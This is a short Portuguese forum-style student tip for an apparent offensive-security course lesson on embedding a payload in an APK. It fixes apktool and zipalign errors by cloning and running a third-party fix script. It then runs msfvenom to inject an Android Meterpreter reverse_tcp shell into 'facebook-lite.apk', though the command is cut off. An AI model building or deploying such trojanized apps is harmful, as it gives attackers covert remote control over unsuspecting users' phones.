Contribuição de um aluno para a aula “embutindo o payload em um APK”
Para aqueles que estão com o seguinte erro ->Error: Unable to rebuild apk with apktool, mesmo consultando o pdf e não achando uma solução, faça:
- Verifique a versão do apktool nos comandos apktool --version aparecendo a
segunte mesagem: 2.3.4-dirty, e baixe via github uma versão mais recente ou compatível para sanar o erro, digitando o seguinte comando -> git clone https://github.com/graylagx2/apktool.git -> , dando o comando ls -> achando o arquivo apktoolfix -> cd apktoolfix , -> ls -> vai aparecer o arquivo (apktoolfix.sh), posteriormente digitando o comando -> chmod +x apktoolfix.sh ,novamente dê o comando ls e para executar e instalar a nova versão do apktool, digite -> ./apktoolfix.sh ,deixe ocorrer a instalação normalmente até a mensagem final -> Apktool is version 2.4.0 --> Apktool Fix Complete.
Se tudo ocorrer bem volte ao comando --> msfvenom -x 'facebook-lite.apk' -p
android/meterpreter/reverse_tcp...., contudo persistiu outro erro faltando os pacotes do Zipalign, digitei o comando apt install zipalign, dando diretório inexistente e acabei pegando em um fórum que bastava digitar os comandos: --> Sudo su -> for FILE in $(dpkg-divert --list | grep nvidia-340 | awk '{print $3}');do dpkg-divert --remove $FILE; done exit -> Sudo apt-get install -f - >sudo apt-get update e sudo apt-get upgrade, por último execute o comando - > msfvenom -x 'facebook-lite.apk' -p android/meterpreter/reverse_tcp, solucionando o erro, sei que está meio bagunçado minha explicação, porém foi a única maneira de sanar o erro que eu achei.